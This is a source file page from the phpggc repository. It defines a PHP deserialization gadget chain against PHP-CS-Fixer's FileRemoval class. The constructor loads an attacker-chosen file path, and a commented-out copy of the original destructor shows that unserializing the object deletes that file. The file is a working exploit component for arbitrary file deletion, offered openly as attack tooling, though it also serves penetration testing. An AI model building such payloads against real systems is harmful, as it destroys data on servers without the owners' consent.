Codebase list phpggc / 2e33e711-d373-45e0-8612-0ff63e18e246/main gadgetchains / PHPCSFixer / FD / 1 / gadgets.php
2e33e711-d373-45e0-8612-0ff63e18e246/main

Tree @2e33e711-d373-45e0-8612-0ff63e18e246/main (Download .tar.gz)

gadgets.php @2e33e711-d373-45e0-8612-0ff63e18e246/mainraw · history · blame

<?php

namespace PhpCsFixer
{
//https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/v2.17.3/src/FileRemoval.php
    class FileRemoval
    {

        function __construct($remote_file)
        {
            $this->files = [$remote_file => $remote_file];

        }

    }
}

/* 
    public function __destruct()
    {
        $this->clean();
    }




    public function clean()
    {
        foreach ($this->files as $file => $value) {
            $this->unlink($file);
        }
        $this->files = [];
    }

    private function unlink($path)
    {
        @unlink($path);
    }
}
*/


?>